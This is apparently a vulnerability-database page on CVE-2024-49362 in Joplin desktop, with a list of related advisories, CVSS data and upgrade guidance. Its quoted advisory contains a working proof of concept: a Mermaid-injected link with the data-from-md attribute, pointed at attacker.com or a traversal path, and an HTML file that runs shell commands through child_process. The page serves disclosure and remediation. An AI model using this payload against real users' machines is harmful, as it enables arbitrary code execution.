Vulnerabilities in pkg:npm/joplin

PACKAGE
Advisory Identifier: GHSA-hff8-hjwv-j9q7
Advisory Summary

CVE-2024-49362 is a HIGH (CVSS 7.7) remote code execution vulnerability (CWE-94: Improper Control of Generation of Code ('Code Injection')) affecting Joplin libraries in the npm ecosystem. The issue involves remote code execution on click of <a> link in markdown preview. Remediation is available by upgrading affected packages to version 3.1.0.

14 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:npm/joplin

14 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:npm/joplin. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-hff8-hjwv-j9q7 CVE-2024-49362 HIGH Remote Code Execution on click of <a> Link in markdown preview
GHSA-mjr5-v9c9-mm7g CVE-2022-40277 HIGH Joplin Remote Code Execution
GHSA-phj8-2p6x-hq5r CVE-2021-33295 MODERATE Joplin Cross Site Scripting Vulnerability via NOSCRIPT tags
GHSA-m6mf-hmrh-ph4j CVE-2018-1000534 MODERATE Joplin Vulnerable to Cross-site Scripting in Note Content
GHSA-8478-53pv-jxvm CVE-2022-23340 CRITICAL Joplin Vulnerable to Code Injection
GHSA-mrmf-755g-w2vw CVE-2021-37916 MODERATE Joplin vulnerable to Cross-site Scripting in notes
GHSA-7grw-xfx6-qhx6 CVE-2023-37298 MODERATE Joplin Cross-site Scripting vulnerability
GHSA-4jjv-p8x9-rrf7 CVE-2023-37299 MODERATE Joplin Cross-site Scripting vulnerability
GHSA-h6c2-879r-jffh CVE-2022-45598 MODERATE Joplin Desktop App vulnerable to Cross-site Scripting
GHSA-cgc7-mwp4-3ccx CVE-2020-15930 MODERATE Cross-site Scripting in Joplin
GHSA-ww2v-frv5-pj5x CVE-2022-35131 CRITICAL Joplin is vulnerable to arbitrary code execution
GHSA-6r7x-hc8m-985r CVE-2020-9038 MODERATE Cross-site Scripting in Joplin
GHSA-gjwp-7v3g-99pj CVE-2021-23431 MODERATE Cross-site Request Forgery (CSRF) in joplin
GHSA-q26w-wjj2-22vv CVE-2020-28249 MODERATE Cross-site scripting in Joplin

CVE-2024-49362 at a Glance

CVE Identifier CVE-2024-49362
GHSA Identifier GHSA-hff8-hjwv-j9q7
Severity HIGH
CVSS v3.1 Base Score 7.7
CWE Classification CWE-94: Improper Control of Generation of Code ('Code Injection')
Affected Product Joplin
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 7.7

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:L).

Attack Vector Local (AV:L)
Attack Complexity Low (AC:L)
Privileges Required High (PR:H)
User Interaction Required (UI:R)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability Low (A:L)

How to Fix CVE-2024-49362

To remediate this vulnerability, upgrade all affected Joplin dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

joplin fixed: 3.1.0
npm install joplin@3.1.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls joplin

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2024-49362, inspect your project dependencies using npm:

npm ls joplin

Analyze the terminal output to locate any version of Joplin in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.1.0), your application is affected.

Note: The npm ls joplin command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-94: Improper Control of Generation of Code ('Code Injection'), where the product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. In Joplin, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary There is a vulnerability in `Joplin-desktop` that leads to remote code execution (RCE) when a user clicks on an `<a>` link within untrusted notes. The issue arises due to insufficient sanitization of `<a>` tag attributes introduced by the `Mermaid`. This vulnerability allows the execution of untrusted HTML content within the Electron window, which has full access to Node.js APIs, enabling arbitrary shell command execution. ### Details In the markdown preview iframe, `Joplin` only opens `<a>` links internally within the same Electron window if they contain the `data-from-md` attribute. While Joplin successfully sanitizes the `data-from-md` attribute in user-embedded `<a>` links from the `.md` file to prevent the execution of untrusted HTML content, it fails to sanitize the `data-from-md` attributes of `<a>` tags introduced by `Mermaid` (e.g., the code snippet shown below). Since `Mermaid` allows the rendering of certain scriptless HTML elements, an attacker can embed `<a> `tags with `data-from-md` attributes, which will then be opened internally in the same Electron window. Additionally, `Joplin` opens the window with `nodeIntegration` set to `true` and `contextIsolation` set to `false`, resulting in any scripts running in the opened window having full access to Node.js APIs. Furthermore, the markdown preview iframe shares the same origin (i.e.,local file system) as its parent and lacks the `sandbox` attribute, allowing scripts running in the iframe to call Node.js APIs through `window.parent`. As a result, an attacker can execute arbitrary code using Node.js APIs by exploiting HTML files stored on the local file system, which share the same origin as the parent. **Relevant code references:** + Payload to inject `<a>` with `data-from-md` attribute: ````markdown ```mermaid flowchart TD A[<a href="https://attacker.com" data-from-md>hello</a>] ``` ```` + Handling link navigation in the markdown preview iframe https://github.com/laurent22/joplin/blob/e6c09da639adeb76f12e4477cc8442c49c0ced0c/packages/lib/renderers/webviewLib.js#L93-L116 + Window configuration of `Joplin` window https://github.com/laurent22/joplin/blob/e6c09da639adeb76f12e4477cc8442c49c0ced0c/packages/app-desktop/ElectronAppWrapper.ts#L141-L155 ### PoC Considering the user has downloaded the following shared files from the internet (Note: the threat model aligns with existing published security issues: [GHSA-2h88-m32f-qh5m](https://github.com/laurent22/joplin/security/advisories/GHSA-2h88-m32f-qh5m) and [GHSA-g8qx-5vcm-3x59](https://github.com/laurent22/joplin/security/advisories/GHSA-g8qx-5vcm-3x59), where the malicious HTML file is available locally): + `poc.md` ````markdown ```mermaid flowchart TD A[<a href="/../../../../../../../../../../../../../../../path/to/poc2.html" data-from-md>hello</a>] ``` ```` + `poc2.html` ``` <html> <body> <script> if (typeof window.parent.require !== 'undefined') { const { exec } = window.parent.require('child_process'); exec('ls -al', (err, stdout, stderr) => { if (err) { document.body.innerText = `Error: ${err.message}`; return; } if (stderr) { document.body.innerText = `Stderr: ${stderr}`; return; } document.body.innerText = stdout; }); } else { document.body.innerText = 'Require is not available in this environment.'; } </script> </body> </html> ``` Then, open the `poc.md` with `Joplin` and click on the `hello` link. The code embedded in the `poc2.html` will be executed. ![result](https://github.com/user-attachments/assets/e85fbad8-a348-49cd-af51-4fc302dd6a8f) ### Impact This vulnerability can lead to Remote Code Execution (RCE) when users open and interact with untrusted notes, while malicious HTML files are available locally.

CVE-2024-49362 Affected Joplin Versions

1 component(s)
Fixed Versions:
3.1.0
Product / Package Ecosystem Affected Versions Fixed Version
joplin
npm
≥ 3.0.0
< 3.1.0
All 1 versions
3.0.0
3.1.0

References

Frequently Asked Questions

What is CVE-2024-49362?
CVE-2024-49362 is a security vulnerability in Joplin involving Remote Code Execution on click of <a> Link in markdown preview under CWE-94: Improper Control of Generation of Code ('Code Injection').
Which Joplin versions are affected?
Affected versions include releases prior to 3.1.0 across affected packages: joplin.
What version fixes CVE-2024-49362?
Upgrading to 3.1.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is joplin affected?
Yes, joplin is affected in releases prior to 3.1.0. Upgrade your dependency to 3.1.0 or later.
What is the CVSS score of CVE-2024-49362?
CVE-2024-49362 has a CVSS v3.1 base score of 7.7 (HIGH) with vector string CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:L.
What CWE is associated with CVE-2024-49362?
CVE-2024-49362 is classified under CWE-94: Improper Control of Generation of Code ('Code Injection') (The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.).
How can I check npm dependencies for CVE-2024-49362?
Run the dependency tree command: 'npm ls joplin'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-hff8-hjwv-j9q7",
  "modified" : "2025-01-30T18:05:55Z",
  "published" : "2024-11-14T17:38:14Z",
  "aliases" : [ "CVE-2024-49362" ],
  "summary" : "Remote Code Execution on click of <a> Link in markdown preview",
  "details" : "### Summary\n\nThere is a vulnerability in `Joplin-desktop` that leads to remote code execution (RCE) when a user clicks on an `<a>` link within untrusted notes. The issue arises due to insufficient sanitization of `<a>` tag attributes introduced by the `Mermaid`. This vulnerability allows the execution of untrusted HTML content within the Electron window, which has full access to Node.js APIs, enabling arbitrary shell command execution.\n\n### Details\n\nIn the markdown preview iframe, `Joplin` only opens `<a>` links internally within the same Electron window if they contain the `data-from-md` attribute. While Joplin successfully sanitizes the `data-from-md` attribute in user-embedded `<a>` links from the `.md` file to prevent the execution of untrusted HTML content, it fails to sanitize the `data-from-md` attributes of `<a>` tags introduced by `Mermaid` (e.g., the code snippet shown below). Since `Mermaid` allows the rendering of certain scriptless HTML elements, an attacker can embed `<a> `tags with `data-from-md` attributes, which will then be opened internally in the same Electron window.\n\nAdditionally, `Joplin` opens the window with `nodeIntegration` set to `true` and `contextIsolation` set to `false`, resulting in any scripts running in the opened window having full access to Node.js APIs. Furthermore, the markdown preview iframe shares the same origin (i.e.,local file system) as its parent and lacks the `sandbox` attribute, allowing scripts running in the iframe to call Node.js APIs through `window.parent`. As a result, an attacker can execute arbitrary code using Node.js APIs by exploiting HTML files stored on the local file system, which share the same origin as the parent.\n\n\n**Relevant code references:**\n\n+ Payload to inject `<a>` with `data-from-md` attribute:\n\n````markdown\n```mermaid\nflowchart TD\n    A[<a href=\"https://attacker.com\" data-from-md>hello</a>]\n```\n````\n\n+ Handling link navigation in the markdown preview iframe\n\nhttps://github.com/laurent22/joplin/blob/e6c09da639adeb76f12e4477cc8442c49c0ced0c/packages/lib/renderers/webviewLib.js#L93-L116\n\n+ Window configuration of `Joplin` window\n\nhttps://github.com/laurent22/joplin/blob/e6c09da639adeb76f12e4477cc8442c49c0ced0c/packages/app-desktop/ElectronAppWrapper.ts#L141-L155\n\n### PoC\n\nConsidering the user has downloaded the following shared files from the internet (Note: the threat model aligns with existing published security issues: [GHSA-2h88-m32f-qh5m](https://github.com/laurent22/joplin/security/advisories/GHSA-2h88-m32f-qh5m) and [GHSA-g8qx-5vcm-3x59](https://github.com/laurent22/joplin/security/advisories/GHSA-g8qx-5vcm-3x59), where the malicious HTML file is available locally):\n\n+ `poc.md`\n````markdown\n```mermaid\nflowchart TD\n    A[<a href=\"/../../../../../../../../../../../../../../../path/to/poc2.html\" data-from-md>hello</a>]\n```\n````\n\n+ `poc2.html`\n```\n<html>\n  <body>\n    <script>\n      if (typeof window.parent.require !== 'undefined') {\n        const { exec } = window.parent.require('child_process');\n        exec('ls -al', (err, stdout, stderr) => {\n          if (err) {\n            document.body.innerText = `Error: ${err.message}`;\n            return;\n          }\n          if (stderr) {\n            document.body.innerText = `Stderr: ${stderr}`;\n            return;\n          }\n          document.body.innerText = stdout;\n        });\n      } else {\n        document.body.innerText = 'Require is not available in this environment.';\n      }\n    </script>\n  </body>\n</html>\n```\n\nThen, open the `poc.md` with `Joplin` and click on the `hello` link. The code embedded in the `poc2.html` will be executed.\n\n![result](https://github.com/user-attachments/assets/e85fbad8-a348-49cd-af51-4fc302dd6a8f)\n\n### Impact\n\nThis vulnerability can lead to Remote Code Execution (RCE) when users open and interact with untrusted notes, while malicious HTML files are available locally.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "joplin"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "3.0.0"
      }, {
        "fixed" : "3.1.0"
      } ]
    } ],
    "versions" : [ "3.0.0" ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/laurent22/joplin/security/advisories/GHSA-hff8-hjwv-j9q7"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-49362"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/laurent22/joplin"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-94" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2024-11-14T17:38:14Z",
    "nvd_published_at" : "2024-11-14T18:15:19Z"
  }
}